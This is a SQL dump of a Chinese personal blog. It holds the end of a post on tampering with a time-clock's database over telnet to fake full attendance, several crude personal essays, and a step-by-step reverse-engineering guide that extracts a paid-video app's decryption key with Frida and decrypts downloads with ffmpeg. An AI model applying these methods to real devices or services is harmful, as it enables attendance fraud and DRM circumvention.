ATT_LOG.id=\" + id + \";\";\n        String selectResult = telnet.command(sqlBody);\n        Pattern p = Pattern.compile(\"^(.*?)\\\\|(.*?)\\\\|.*?\\\\|(.*?)\\\\|.*?\\\\|.*?\\\\|.*?\\\\|.*?\\\\|.*?\\\\|.*?\\\\|.*?\\\\|(.*?)$\", Pattern.MULTILINE);\n        if(selectResult != null ) {\n            Matcher m = p.matcher(selectResult);\n            if(m.find()) {\n                Integer userPin = Integer.valueOf(m.group(2));\n                SimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"yyyy-MM-dd\'T\'HH:mm:ss\");\n                //simpleDateFormat.setTimeZone(TimeZone.getTimeZone(\"GMT\"));\n                Timestamp timestamp = null;\n                try {\n                    timestamp = new Timestamp(simpleDateFormat.parse(m.group(3)).getTime());\n                } catch (ParseException e) {\n                    e.printStackTrace();\n                }\n                String name = m.group(4);\n                return new AttLog()\n                    .setId(id)\n                    .setUserPin(userPin)\n                    .setVerifyTime(timestamp)\n                    .setName(name);\n            }\n        }\n        return null;\n    } catch (Exception e) {\n        e.printStackTrace();\n        return null;\n    } finally {\n        telnet.setEndPattern(\"# \");\n        telnet.command(\".q\");\n        telnet.logout();\n    }\n}\n```\n\n### 使用事务批量操作数据\n\n这里的操作包括增删改，要知道打卡机 MCU 性能可能没那么好，如果要一次性增删改大量数据而一条一条来的话，可能很耗时，甚至导致考勤机卡死。\n\n推荐的解决方案是采用事务：\n```sql\nBEGIN;\n    INSERT INTO ...;\n    UPDATE ...;\n    ...\nCOMMIT;\n```\n对应的 Java 代码：\n```java\npublic boolean transaction(List<String> commands) {\n    if (commands == null || commands.size() == 0) {\n        return true;\n    }\n    TelnetClientEx telnet = getTelnet();\n    try {\n        telnet.command(\"cd /mnt/mtdblock/data/\");\n        telnet.setEndPattern(\"> \");\n        telnet.command(\"./sqlite3_mips ZKDB.db\");\n        telnet.command(\"BEGIN;\");\n        for(String command : commands) {\n            telnet.command(command);\n        }\n        telnet.command(\"COMMIT;\");\n        return true;\n    } catch (Exception e) {\n        e.printStackTrace();\n        return false;\n    } finally {\n        telnet.setEndPattern(\"# \");\n        telnet.command(\".q\");\n        telnet.logout();\n    }\n}\n```\n这样既快速，又能在遇到错误的时候回滚。\n\n总之你可以 Telnet，基本上什么花样都可以玩了，我甚至写了个一键补打卡，可以把选定日期的缺勤、迟到、早退全改成全勤。\n\n## 0x07 一键补打卡\n思路是这样，首先确定迟到线和早退线，即上下班时间。确定中位线，即中午 12 点，以判断是上午还是下午。\n然后查询指定日期内指定工号（姓名）被考勤人的记录，以天为单位做统计，可能会有以下几种情况：\n- 当天考勤 0 次\n- 当天考勤 1 次\n- 当天考勤 2 次及以上\n\n考勤 0 次的，判定为缺勤，需要做的就是**新增** 2 条记录，一条位于迟到线之前，另一条位于早退线之后。\n考勤 1 次的，首先判断是上午还是下午。是上午的判断是否位于迟到线之前，如果否，则将其**修改**为迟到线前，并**新增** 1 条记录位于早退线之后。是下午的同理。\n考勤 2 次及以上的，取当日最早和最晚的 2 条记录。对于最早记录，判断是否在迟到线前，如果否，将其**修改**为迟到前；对于最晚记录，判断是否在早退后，如果否，将其**修改**为早退后。\n\n\n> 当然，我更建议你按时上下班。', 0, 5097, '', 1, 0, '2020-04-27 03:27:53', '2023-12-24 03:39:23');
INSERT INTO `tb_post` VALUES (68, -1, 0, 0, 1, '盗亦有道', NULL, 0, '', '![极限一拖五](/upload/20211128_17212793.jpg \"极限一拖五\")\n谨以此文纪念我被盗的六个电瓶。', '> 谨以此文纪念我被盗的六个电瓶。\n\n依稀记得那是 2017 年秋，刚回到绿城不久的我借了检测的电车，打算用上两星期。检测跟我说：我出差这段时间，你可得把我的宝贝电车看好咯。检测拍拍电车坐垫，满脸的不舍：这部电车买来那么久，可是一个妹儿都没有载过的。\n\n告别了检测，当晚我就接到妹儿的电话，要我去她家喝酒。我约摸着晚上八成回不来了，就把电车停在通信大厦底下，心想着这儿的保安通宵在，应该不会有什么事。锁了车头进了地铁，我就奔妹儿家去了。\n\n直到第二天中午我才在妹儿床上迷迷糊糊醒来，和妹儿吃了午餐我才依依不舍地回去。取电车的时候插钥匙一拧电门，仪表盘毫无反应。我心里咯噔一下，一翻电车坐垫，几个螺丝全给我卸了，带着螺母齐齐整整地躺在里面。再一翻坐垫底下，车里面电瓶全没了，电线都给我扯了。回头一看保安亭，保安正在低头打着游戏。\n\n妈妈的。我骂道。\n\n我掏出手机给检测打电话：你电车是多少伏的电瓶来着？检测说：72V，咋了？我说：没咋，你好好检测去，全省路桥的质量就靠你保障了，回来带你喝花酒。\n\n挂了电话，我懵了好一会儿。通信大厦虽然在地铁口旁边算是比较热闹的地方，但周围碰上旧改，一个电车铺子都没有。我顶着大太阳打开百度地图搜索电车铺子，一个接一个打电话过去。打到第三通，对面终于表示愿意拿着二手电瓶过来给我凑合着装上，开到店里再做打算。\n\n半晌，电车师傅终于开着三轮车运着电瓶过来了。\n\n电车师傅说：我只带了5个电瓶，开到店里应该没问题。师傅拿出剪线钳和螺丝，几分钟就把电瓶装好了。我开着电车慢悠悠地跟在电车师傅后面，龟车[^1]龟车，终于名副其实了。\n\n你碰上这小偷还蛮有职业道德的。电车师傅跟我唠嗑道：至少螺丝啥的都留给你了，我见过别的电瓶被偷的，后轱辘都给卸了。\n\n我无语：这车还是我借别人的，就停了一晚上，电瓶就没了。周立齐[^2]不还在牢里坐着嘛，咋就遭了这。\n\n电车师傅忍着笑：抓了周立齐，还有赵钱孙李立齐。你干啥去了停在那儿，那安保松的很，晚上估计都在睡大觉。我说：这不是昨晚和妹儿喝花酒嘛，想着不会开车了，就停那儿坐地铁去了。师傅问：是你妹儿啊？我说不，是别人妹儿。\n\n电车师傅沉默了一会，说：你看，你偷别人妹儿，别人偷你电瓶，这叫报应。不过盗亦有道，这小偷待你还是不错的。\n\n我说：我不这么想，您看哈，留给我这些东西，那不是等我把电瓶装好，日后有缘再偷么，就像我昨日，挥一挥衣袖，不带走一片云彩，那不是为了明日、后日、下一日么。万一头一日就日上头了，那岂不是原地爆炸，车都得换了。\n\n电车师傅笑了：小伙子有文化啊，说起话来一套一套的，985 大学生吧？我摆摆手：C9。\n\n电车师傅：你电瓶都被人偷了，还有心思在这里插科打诨的，心态挺好啊。我说：塞翁失马焉知非福，乍一看我电瓶被偷了，长远看来反而提升了我的防盗意识。再说了，电瓶被偷我不怪那小偷，怪就怪我看不紧。就像我偷别人妹儿，能怪我吗，怪就怪那人没看紧呗。\n\n电车师傅叹了口气：有文化吊儿郎当。我虽是一介电车师傅，小学没读完，家里的书也是读了不少的。古书有云：绿人者人恒绿之，说句难听的，社会风气就是被你们这样的后生仔败坏的。\n\n我说：我本来也是个好男孩来的，奈何初恋就被人绿了，给我整得死去活来的。后来我想明白了，宁可我绿天下人，毋教天下人绿我。离谱的是绿我那人当时还是我朋友，QQ 名字还叫盗跖。您知道盗跖吧？就说出盗亦有道的那家伙，坐怀不乱的柳下惠他弟。\n\n电车师傅：《庄子·外篇·胠箧》。\n\n我：圣人不死，大盗不止。若圣人真有这么圣，怎么还被偷了妹儿？\n\n电车师傅感叹：老王不可怕，就怕老王有文化。\n\n我：后面我想通了，什么绿不绿的，去他妈的。人家给不了妹儿的关爱，我来给，这么说我也是个博爱之人，是半个圣人。\n\n电车师傅：所以你那初恋，你不但不恨她，反倒是她让你醍醐灌顶、茅塞顿开。\n\n我：恨嘛那当时是恨的。不过就像您说的，绿人者人恒绿之。这不，后来那男的脚踏三条船，把她给绿了。所以偷我电瓶的，迟早也得死个妈。\n\n![杀妈精英不请自来](/upload/20211128_17230527.png \"杀妈精英不请自来\")\n\n一路唠着嗑到了电车铺子，师傅问我要换好点的电瓶还是差点的。我说：好点的。师傅说：这电瓶，加了稀土的，贵是贵了点，好用。\n\n师傅把稀土电瓶拿来，往电车上一装，我试着开了开，这车马力比之前还足。\n\n电车师傅：小伙子，我算是明白了，乍一看电瓶被偷了，实际上换了个更好的。\n\n我：的确是这么个道理，电瓶的离开，是小偷的追求，还是我的不挽留？分手就分手，下一个更长久；拜拜就拜拜，下一个更乖。师傅，这组电瓶多少钱？\n\n电车师傅：1000块。\n\n我：草他妈的，这下一个有点贵。\n\n\n[^1]: 电动自行车的一种，外观仿本田龟王摩托车，圆润如龟壳，故名龟车。\n[^2]: 打工界方面……打工系不可能打工的，界辈几不可能打工的。\n', 0, 472, '', 1, 0, '2020-09-23 08:11:48', '2021-12-07 22:31:22');
INSERT INTO `tb_post` VALUES (84, -1, 0, 0, 1, '请爱着我 请再爱着我', NULL, 0, '', '', '![Lena](/upload/20211207_22300155.jpg \"Lena\")\n\n朋友圈里 Lena 转发了离婚冷静期条款的新闻，说以后想离婚真难。我评论道：结婚有风险，领证需谨慎。Lena 问我几时领证，我说你几时领我就几时领。\n\n她说：太好了，我家户口本就在我这，随时可以。\n\nLena 买房的时候，推给我的中介小姐姐似乎看出我和 Lena 有暧昧一样，一个劲地怂恿我在同个楼盘也买一套，和 Lena 做邻居。我和 Lena 开玩笑：真就家里大老婆，楼下小老婆？\n\nLena 不置可否：只要你想，买隔壁都行。\n\n我拒绝了：我不喜欢这个户型。\n\n领证的事最后自然不了了之，买房则买了另一个好地段。聊骚聊骚，聊聊而已，怎么能当真呢？\n  \n<br/>\n  \n和 Lena 约完午饭回来，正好在吸烟区碰到她小男朋友。小男朋友啪地一下立马递了一支玉溪上来，很快啊！我也不能不讲武德，只能借坡下驴，点了烟吸了起来。\n\n“你们聊，我先回去了。”小男朋友说道。\n\n我突然觉得自己很奇怪，脑子里全然没有考虑自己的处境，只琢磨着 Lena 的小男朋友心里到底怎么想的。他会不会感到尴尬？会不会吃醋？会不会不爽？\n\n我又一下子释然了：真是的，一个昨晚刚和 Lena 做了爱的正牌男朋友，有什么好不爽的。\n\n人真是双标的动物，Lena 一边很在意小男朋友和他室友的女朋友走得太近，另一边又在和我疯狂暧昧。不过想到戴小姐是如何对待我的以后我也理解了：毕竟只要不被发现，那就没错，那就占领了道德制高点，就可以居高临下地抨击对方。难以想象要是她小男朋友发现了我和 Lena 的关系，会不会砍死我。\n\n当断不断，反受其乱。这句话在我脑海中已经反复回荡了六年。可是一想到 Lena 的妩媚，我就泄了气。\n\n现在想想，只怪自己优柔寡断。如果六年前我和 Lena 就此结束，把彼此最美好的一面留在床上，现在就没有这么多 B 事了。', 3, 372, '', 1, 0, '2020-12-23 16:00:00', '2021-12-07 22:30:13');
INSERT INTO `tb_post` VALUES (103, -1, 0, 0, 1, '绿茶拜拜', NULL, 0, 'bye-bye-coquette', '', '我有点沮丧，Lena 变得越来越绿茶了。\n\n说实话我对绿茶没有偏见，就像杨笠说的：男人不是分辨不出绿茶，是不在乎。绿茶多好啊，精准戳中直男每个 G 点，把你爽的不要不要的。\n\n所以让我沮丧的不是 Lena 变得越来越绿茶了，而是她绿茶的对象不是我。', 1, 18, '', 1, 1, '2021-03-13 18:23:34', '2021-11-28 09:12:35');
INSERT INTO `tb_post` VALUES (106, -1, 0, 0, 1, '捅了皮条客窝了', NULL, 0, '', '', '上一次见到油万金还是在出差考察的时候。去之前油万金说：这个客户有个项目你们可以做。结果去了之后发现这个项目已经让别的厂商差不多做完了，于是整个下午都在陪跑。\n\n晚上回到酒店想休息，一推门发现门缝地上全是性感小卡片。看着上面印着的清纯女学生、性感少妇我就气不打一处来，回想起一天的遭遇更是来气：就像是拉皮条的跟我说有个鸡超靓水超多，我兴冲冲推开房间门准备大干一场的时候，发现另一个嫖客都快射了，然后我站在旁边围观，听他和这个鸡嗯嗯啊啊的。\n\n后来负责别的项目的同事说，当时也是和油万金同公司的人打交道，对方不让直接和业主见面，磨了老半天才勉强同意带我们去业主的地盘转转。对方的人开一个配电箱的时候，里面一个螺丝没拧紧，一下子掉在了两条电线裸露的触点上，顿时火花四溅，要是再靠近一点眼都瞎了。周围一群皮条客怔怔地看过来。还好不是同事开的门，不然他就得担责了。这真是大肉棒狂插油万金妈逼——捅了皮条客的窝了。后来同事说，去这种场合就要戴安全帽，就像被皮条客拉去嫖那必须要戴安全套，因为指不定要出什么事。', 0, 311, '', 1, 0, '2021-04-13 16:46:00', '2023-12-06 04:20:04');
INSERT INTO `tb_post` VALUES (108, -1, 0, 0, 1, '惜命', NULL, 0, '', '', '把电动车拉去加固车架了，顺便换镀银线。因为原车是带系统的，镀银线没有现货需要现做，而车子拆一次全车不容易，索性就放在店里三天，等镀银线到了一并装好。这意味着我三天没有电动车开，需要打车或是坐地铁上下班。\n\n趁着五一假期上了 brembo 前后卡钳、平民版可调减震，感觉改装这条路差不多就毕业了。短短几天花掉了一万多，说不心痛都是假的。当然诚如改车小哥所说：所有我听到的「够了够了，改完这次不改了」，最后都还是妥协在了攀比和虚荣面前。这一次是否是我改车的终点我不得而知，但短时间内不会再改是肯定的了。\n\n去改车的时候碰到一个比我还高还壮的高中生，带着他的壕车来修，据说是前一天晚上刚换上的南京远驱 841800，翘头还没翘了一小时就烧了。打开座桶一看，控制器把整个底座都占满了，一旁的空开比我手掌还大。小伙子打着电话跟他妈要钱，想要换新的控制器。旁边的朋友低声说了一句「细蚊仔」，而我只好奇这么大的空开究竟有没有用。犹记得上一次我开上 120 时速的时候想减速松了油门，只听见屁股底下「啪」的一声，车子直接失电开始滑行。不得已停在匝道汇入口的三角区，左边一部大车右边一部大车直接把我吓怕了，只好自己拆车把线搭上赶紧跑了。\n\n那次以后什么零百加速什么地表飞行器对我来说都是虚的，作为未来十年内的代步车，最重要的还是安全性和舒适性，其次是续航和外观，最后才是速度。这和找女朋友是一样一样的，太野的非但驾驭不住，搞不好哪天把自己弄个遍体鳞伤都还是轻的。', 0, 267, '', 1, 0, '2021-05-07 10:48:00', '2021-11-28 07:21:42');
INSERT INTO `tb_post` VALUES (123, -1, 0, 0, 1, 'Don\'t Look Back', NULL, 0, 'dont-look-back', '![你回家了，我在等你呢](/upload/20211128_15192810.jpg \"你回家了，我在等你呢\")', '![你回家了，我在等你呢](/upload/20211128_15192810.jpg \"你回家了，我在等你呢\")\nLena 跑来问我，这是不是我写的字。我说是。Lena 说戴小姐把朋友圈封面换成了这个。\n\n我问：她这是怎么了？\n\nLena 说想知道自己问她，然后给我推来了戴小姐的名片。戴小姐还用着一只仓鼠当头像，那是我们分手前用的情侣头像。\n\n我有点无语，按理来说她现在找了个体制内的男朋友——一看照片就是特别有钱的那种，同居、养猫、生日宴、见家长，看照片胖了至少有十斤，那现在应该很幸福才对。分手了还搞这些七的八的，不知道想感动谁。不过这也的确是戴小姐的风格，还记得当初分手后朋友们相约奶茶店，坐在座位上的她一下子靠过来，还把腿搭在我腿上。我一脸惊愕问她干嘛，她自得地说：你不就喜欢骚的么？\n\n我难以反驳，因为我的确喜欢骚的。但是她骚的厉害，我有点招架不住。\n\n![你好骚啊](/upload/20231122_13253592.gif \"你好骚啊\")\n\n人都是趋利避害的动物，那些受过的伤痛很容易就忘了，美好的事情倒是愈发地清晰。我的确花了很长时间才走出来，全靠 Lena 当时告诉我，戴小姐觉得对不起我，也对不起她的那任前任。\n\n我觉得恶心，对不起我可以，对不起那任前任是什么意思？断了好几年联系的前任突然找上你，说这几年都没有忘记你，你就感动得一塌糊涂了？那这几年他干嘛去了，交的女朋友都是免费的鸡么？你也是免费的鸡么？我要是哪天鸡巴痒了，是不是也可以回头找你，说我这几年都没忘记你，然后狠狠爆操你？\n\n如果感动不分限度，那也许只是自我感动罢了。', 0, 337, '', 1, 0, '2021-06-17 10:04:00', '2023-11-22 13:26:32');
INSERT INTO `tb_post` VALUES (129, -1, 0, 0, 1, '某 APP 付费视频解密', NULL, 0, '', '', '> 仅供信息安全学习，部分内容做了 \\* 替换\n\n起因是在这个 APP 买的付费视频总会不定期清除，就想着下下来存着，以免之后找不到。一开始想着电脑开个模拟器录屏算了，但想想还是有点麻烦，干脆直接分析。\n\n## 0x00 准备工作\n\n1. 雷电模拟器 4.0.43 32 位版本，64 位版本在我这里能运行，但登录 APP 失败\n2. 安装要破解的 APP\n3. 安装 Xposed 框架和 [JustTrustMe](https://github.com/Fuzion24/JustTrustMe/releases/tag/v.2) 模块并开启\n4. 安装反射大师\n5. 安装终端模拟器\n6. 电脑安装 Fiddler4/Proxifier，配置 Fiddler4 Capture HTTPS CONNECTs；Proxifier 新增 Proxy 为 Fiddler4 的 Proxy，并新增 Rule：Applications 为 ld*.exe\n7. 安装 Frida，并将对应的 frida-server 放到模拟器上\n8. FFMpeg\n\n<!--more-->\n\n## 0x01 抓视频相关 HTTP 请求\n开启已经配置好了的 Fiddler4 和 Proxifier，为防止其他请求干扰，可以拖动 Fiddler4 工具栏的瞄准镜一样的小光标到 Proxifier 上，意味着仅显示从 Proxifier 来的请求；另外，在 Rules 菜单下勾选「Hide Image Request」和「Hide CONNECTs」排除干扰。\n\n![Fiddler Setting](/upload/20211128_15122612.png \"Fiddler Setting\")\n\n打开雷电模拟器上的 APP，点开视频列表，在 Fiddler 内找到 Host 为 learning.xxx.cn 的请求\n```ini\n# 哪怕没有购买也可以试看，也可以获取到这条 URL 请求\nhttps://learning.*****.com/*******/v1/item_list/?content_id=xxxx&其他参数\n```\n该请求是获取视频列表的请求，请求返回的 JSON 中，JSONArray `[\"data\"][\"item_list\"]` 中的每一个对象就是一个视频课程。选择其中一个课程，记为 **课程1**，在课程中找到 `[\"preload_info\"][\"url\"]`，将其中的 `\\u0026` 替换为 `&` 并访问，得到该条视频课程的预加载信息：\n```JS\n{\n    \"data\": {\n        \"video_model\": \"Stringify JSONObject\"\n    },\n    \"err_msg\": \"success\",\n    \"err_no\": 0\n}\n```\n其中 `video_model` 是字符串化的 JSON，将其转换成 JSONObject：\n```JS\n{\n    \"status\": 10,\n    \"message\": \"success\",\n    \"enable_ssl\": false,\n    \"enable_adaptive\": false,\n    \"video_id\": \"v03031g10000c4nk28rc77uf7o6sj1tg\",\n    \"video_duration\": 1653,\n    \"media_type\": \"video\",\n    \"fallback_api\": \"https://vas-lf-x.*****.com/video/fplay/1/39ccb0995ba19c92b601e4ba03b76f04/v03031g10000c4nk28rc77uf7o6sj1tg?aid=13\\u0026codec_type=1\\u0026device_platform=unknown\\u0026key_seed=cIKh0wFc%2Fbe4Tpqo2Ty5XaQN97aT3k%2BnO%2FMeQI%2BmTGQ%3D\\u0026ptoken=pgc_learning_encrypt\\u0026stream_type=encrypt\",\n    \"key_seed\": \"cIKh0wFc/be4Tpqo2Ty5XaQN97aT3k+nO/MeQI+mTGQ=\",\n    \"video_list\": {\n        \"video_4\": {\n            \"definition\": \"1080p\",\n            \"quality\": \"normal\",\n            // Video type\n            \"vtype\": \"mp4\",\n            \"vwidth\": 1920,\n            \"vheight\": 1080,\n            \"bitrate\": 478583,\n            \"fps\": 15,\n            \"codec_type\": \"h265\",\n            \"size\": 99655378,\n            // Video URL\n            \"main_url\": \"[Base64 string of main url]\",\n            \"backup_url_1\": \"[Base64 string of backup url]\",\n            \"url_expire\": 1630645313,\n            \"preload_size\": 327680,\n            \"preload_interval\": 60,\n            \"preload_min_step\": 5,\n            \"preload_max_step\": 10,\n            // Spade A?\n            \"spade_a\": \"krwc9lCOAPZRvh35TYAByE2zHchRtBv6VYMc0maoGuRknyyCgg==\",\n            \"file_hash\": \"686099bb24f9dc7a18a76f99c3fdc204\",\n            \"file_id\": \"d4ec09a2822740fbbf385a07d64912e5\",\n            \"p2p_verify_url\": \"[Base64 string of p2p verify url]\",\n            // Encrypted or not\n            \"encrypt\": true,\n            // KID\n            \"kid\": \"612f69cec2e1f7b1eb9e729d0046e5da\",\n            \"fitter_info\": null,\n            \"quality_type\": 0,\n            // Encryption method\n            \"encryption_method\": \"cenc-aes-ctr\",\n            \"language_id\": 0\n        },\n        \"video_1\": {\n            // Same structure as video_4\n        },\n        \"video_2\": {\n            // Same structure as video_4\n        },\n        \"video_3\": {\n            // Same structure as video_4\n        }\n    },\n    \"popularity_level\": 0,\n    \"has_embedded_subtitle\": false\n}}\n```\n可以看到视频是被加密的，且加密方法是 `cenc-aes-ctr`，并且提供了 `kid`，让我想到了 FFMpeg 的 encryption，但没有直接看到对应的解密秘钥。\n\n在视频列表点击上面选择的 **课程1**，找到下面另一个请求\n```ini\nhttps://learning.*****.com/learning_column/api/v1/video_detail_page/?item_id=xxxx&其他参数\n```\n并在其中也找到字符串化的 `video_model` 字段，将其转换成 JSONObject，其结构和上面的 `video_model` 类似，但格式为 `dash`，且音视频分离，而上面的格式直接就是 `mp4`。为方便解密，最终解密我们会直接选择上面的 `video_model` 获取 `main_url` 后下载解密，但在此之前，我们仍需要 `dash` 格式的 `video_model` 来探索其加解密。\n\n## 0x02 黑桃A —— 获取解密密钥\n\n模拟器上打开反射大师，选择 APP 并打开，点击六芒星后选择「当前ACTIVITY」，弹出窗内长按「写出DEX」按钮将当前 APP 所有 DEX 导出，我用的这个 APP 版本导出了十个 DEX 文件。\n\n导出的 DEX 要反编译成 JAVA 源文件。但我试了一下，dex2jar，JByteMod 和 bytecode-viewer 都不好用，最后用 JADX 来反编译成 java 源文件，虽然部分方法反编译出错导致可读性较差，但不影响分析。BTW，可以试一下 GDA。\n\n在源文件中查找所有和 `encrypt` 有关的项，最后在 `com.**.**videoengine.**VideoEngine` 类中找到如下的关键代码：\n\n```Java\nL_0x0ced:\n    boolean r0 = r1.mUsePlayerSpade\n    if (r0 != 0) goto L_0x0d2c\n    // r7 for decryption\n    byte[] r0 = com.**.**videoengine.utils.**Helper.base64DecodeToBytes(r7)\n    java.lang.String r5 = \"encryption null\"\n    if (r0 == 0) goto L_0x0d04\n    // We can see the getEncryptionKeyWithCheck is the method to get decryption key\n    // and the r0 parameter is decoded from r7 so we need to find out where comes the r7\n    java.lang.String r7 = com.**.**videoengine.JniUtils.getEncryptionKeyWithCheck(r0)     // Catch:{ Throwable -> 0x0cfe }\n    goto L_0x0d05\n```\n根据 Label 名 `L_0X0ced` 向上追溯，找到关键代码，看看这个 `r7` 是怎么来的：\n\n```Java\nL_0x0cb7:\n    boolean r0 = android.text.TextUtils.isEmpty(r7)\n    if (r0 != 0) goto L_0x0d33\n    com.**.**videoengine.log.IVideoEventLogger r0 = r1.mLogger\n    // r7 is encryptKey, hoo-ha\n    r0.setEncryptKey(r7)\n    int r0 = r1.mDataLoaderEnable\n    if (r0 == 0) goto L_0x0cd2\n    com.**.**videoengine.DataLoaderHelper r0 = com.**.**videoengine.DataLoaderHelper.getDataLoader()\n    r5 = 9009(0x2331, float:1.2624E-41)\n    int r0 = r0.getIntValue(r5)\n    if (r0 != 0) goto L_0x0ced\n```\n继续向上追溯：\n```Java\nL_0x0c77:\n    boolean r0 = r1.mDashEnabled\n    if (r0 == 0) goto L_0x0c84\n    com.**.**videoengine.model.IVideoModel r0 = r1.mVideoModel\n    if (r0 == 0) goto L_0x0cb6\n    // There\'s an r7 goto L_0x0cb7\n    java.lang.String r7 = r0.getSpadea()\n    goto L_0x0cb7\nL_0x0c84:\n    boolean r0 = r1.mIsLocal\n    if (r0 != 0) goto L_0x0cab\n    boolean r0 = r1.mIsPlayItem\n    if (r0 != 0) goto L_0x0cab\n    boolean r0 = r1.mIsPreloaderItem\n    if (r0 != 0) goto L_0x0cab\n    boolean r0 = r1.mIsDirectURL\n    if (r0 != 0) goto L_0x0cab\n    com.**.**videoengine.model.VideoInfo r0 = r1.currentVideoInfo\n    if (r0 == 0) goto L_0x0cab\n    r5 = 5\n    java.lang.String r0 = r0.getValueStr(r5)\n    boolean r0 = android.text.TextUtils.isEmpty(r0)\n    if (r0 != 0) goto L_0x0cab\n    com.**.**videoengine.model.VideoInfo r0 = r1.currentVideoInfo\n    r5 = 5\n    // There\'s an r7 goto L_0x0cb7\n    java.lang.String r7 = r0.getValueStr(r5)\n    goto L_0x0cb7\nL_0x0cab:\n    java.lang.String r0 = r1.mSpadea\n    boolean r0 = android.text.TextUtils.isEmpty(r0)\n    if (r0 != 0) goto L_0x0cb6\n    // There\'s an r7 goto L_0x0cb7\n    java.lang.String r7 = r1.mSpadea\n    goto L_0x0cb7\n```\n三个 Label 内的内容有两个都指向了这个 Spadea，另外一个是 `getValueStr(5)` 来的，搜一下相关代码：\n```Java\n// com.**.**videoengine.model.VideoInfo::getValueStr\nif (i == 5) {\n    return this.mSpadeaVer2;\n}\n```\n至此，确认 `r7` 的确都和 Spadea 逃不了干系了。回去看看 `video_model` JSONObject，里面就有一个 `spade_a`。验证一下 `spade_a` 是不是与解密密钥有关。使用 Frida Hook `JniUtils.getEncryptionKeyWithCheck`，并取上面的 `spade_a` 来直接调用解密方法，对比最终密钥：\n\n```js\nlet JniUtils = Java.use(\'com.**.**videoengine.JniUtils\');\nlet **Helper = Java.use(\'com.**.**videoengine.utils.**Helper\');\n// spadeA from video_model json field spade_a\nlet spadeA = \'l7wZxla8K/VXvS7EYpQuxWONG8BQkCnreJEx2WCSKd56qTKqqg==\';\n\n// Decrypt over Jni function accessing\nconsole.log(\'SpadeA decryption: \' \n    + JniUtils.getEncryptionKeyWithCheck(**Helper.base64DecodeToBytes(spadeA)));\n\n// Decrypt over android app method hook\nJniUtils.getEncryptionKeyWithCheck.overload(\'[B\').implementation = \n    function(bytes) {\n        let key = this.getEncryptionKeyWithCheck(bytes);\n        console.log(\'finalKey: \' + key);\n        return key;\n    }\n```\n在视频列表里点击上面的 **视频1** 后查看输出：\n```\nSpadeA decryption: 6d8df2d2bb494942a639ac8c1083039a\nfinalKey: 6d8df2d2bb494942a639ac8c1083039a\n```\n证实了 `spade_a` 经过解密就是密钥。\n\n## 0x04 解密视频\n\nencryption_key 有了，接下来可以尝试解密了。从上面 mp4 格式的 video_model 中取 main_url 进行 Base64 decode，直接把加密过后的完整 mp4 文件下载下来。同时利用 Frida 调用上面的解密方法，将对应的 spade_a 解密成 decryption_key ，而后调用如下的方法解密视频：\n```shell\nffmpeg.exe -decryption_key {decryption_key} -i {input_file} {out_file}\n```\n不出意外的话，将会解密成功。至此，粗略的解密流程完成。\n\n## 0x05 扩展\n\n其实到这里差不多就完成了，可是要每次都这么大动干戈才能获取视频和密钥未免有些麻烦。既然已经能够获取了视频列表、视频地址和黑桃A，那唯一的难点其实是根据黑桃A获取解密后的密钥。\n\n按照上面的结论，知道关键代码其实是 `JniUtils.getEncryptionKeyWithCheck`，其最终调用了 native 层的 libvideodec.so 库的 `getEncryptionKey` 方法。将其直接复制出来拖到 IDA 里看一下：\n\n![libvideodec](/upload/20211128_15131915.png \"libvideodec\")\n\n没有类似于 Java_xxx_xxx... 之类的方法，那就是动态加载了。进到 JNI_OnLoad 里一看，啊这？怀疑是混淆过了，但是用 Frida 打印 Module，却提示没有找到 libvideodec 这个库。\n\n![Frida unable to find module](/upload/20211128_1513490.png \"Frida unable to find module\")\n\n心想着要不就继续用 frida 算了。突然想到，会不会这个 APP 的极速版也有这个库？赶紧下载极速版下来看一下，乖乖，还真有！试着把极速版的库换到正式版上，也能用！赶紧拖到 IDA 里面看看：\n\n![libvideodec-2](/upload/20211128_15143058.png \"libvideodec-2\")\n\n一切正常，修正一下变量类型：\n```cpp\nsigned int __fastcall JNI_OnLoad(JNIEnv *a1)\n{\n  JNIEnv *v1; // r4\n  jclass v2; // r5\n  JNIEnv *v4; // [sp+4h] [bp-14h]\n\n  v4 = 0;\n  if ( !(*a1)->FindClass(a1, (const char *)&v4) )\n  {\n    v1 = v4;\n    v2 = (*v4)->FindClass(v4, \"com/**/**videoengine/JniUtils\");\n    if ( v2 )\n    {\n      if ( (*v1)->RegisterNatives(v1, v2, (const JNINativeMethod *)off_4004, 1) >= 0 )\n        return 65540;\n      (*v1)->DeleteLocalRef(v1, v2);\n    }\n  }\n  return -1;\n}\n```\n双击 `off_4004` 进去看看，确认是 getEncryptionKey 方法：\n\n![off_4004](/upload/20211128_15150565.png \"off_4004\")\n<center>getEncryption([B)Ljava/lang/String;</center>\n\n点开 getEncryptionKey 方法，同样修正一下变量类型和调用\n```cpp\njstring __fastcall getEncryptionKey(JNIEnv *a1, int a2, jbyteArray a3)\n{\n  jbyteArray v3; // r5\n  JNIEnv *v4; // r4\n  jbyte *v5; // r6\n  int v6; // r0\n  jstring v7; // r4\n  JNIEnv *v9; // [sp+0h] [bp-18h]\n  int v10; // [sp+4h] [bp-14h]\n\n  v9 = a1;\n  v10 = a2;\n  v3 = a3;\n  v4 = a1;\n  v5 = (*a1)->GetByteArrayElements(a1, a3, 0);\n  v6 = (*v4)->GetArrayLength(v4, v3);\n  v9 = 0;\n  v10 = 0;\n  decodeMethodAndKey((int)v5, v6, &v9, &v10);\n  v7 = (*v4)->NewStringUTF(v4, (const char *)v9);\n  j_free(v9);\n  j_free(v10);\n  return v7;\n}\n```\n剩下几个函数看着都没有大问题，直接按照伪代码来写代码吧。值得注意的是，查看了几个函数以后返回 getEncryptionKey，发现 decodeMethodAndKey 变成了这样：\n```cpp\ndecodeMethodAndKey(__PAIR__(v6, (unsigned int)v5), &v9, &v10);\n```\n这个是由于 IDA 根据后面几个函数解析以后，把这个函数的传参由 int, int, int, int 变成了 \\_\\_int64, int, int，为了匹配函数形参，则必须要把两个 int(32) 转成 \\_\\_int64，实际上原来的传参，就是 v5、v6 按照由低到高的字节顺序排，\\_\\_PAIR\\_\\_ 成 \\_\\_int64 也是这个顺序，影响不大。\n\n最后根据上面的 spade_a: \nl7wZxla8K/VXvS7EYpQuxWONG8BQkCnreJEx2WCSKd56qTKqqg== 解密的结果：\n\n![out](/upload/20211128_15152191.png \"out\")\n<center>运气好，居然一次就成功了</center>\n\n和上面 Frida 调用的结果一模一样。优化一下程序，做成自动获取视频列表 + 视频地址 + 密钥解密，即可批量下载并解密。', 0, 1209, '', 1, 0, '2021-09-01 18:23:00', '2023-12-06 01:48:34');
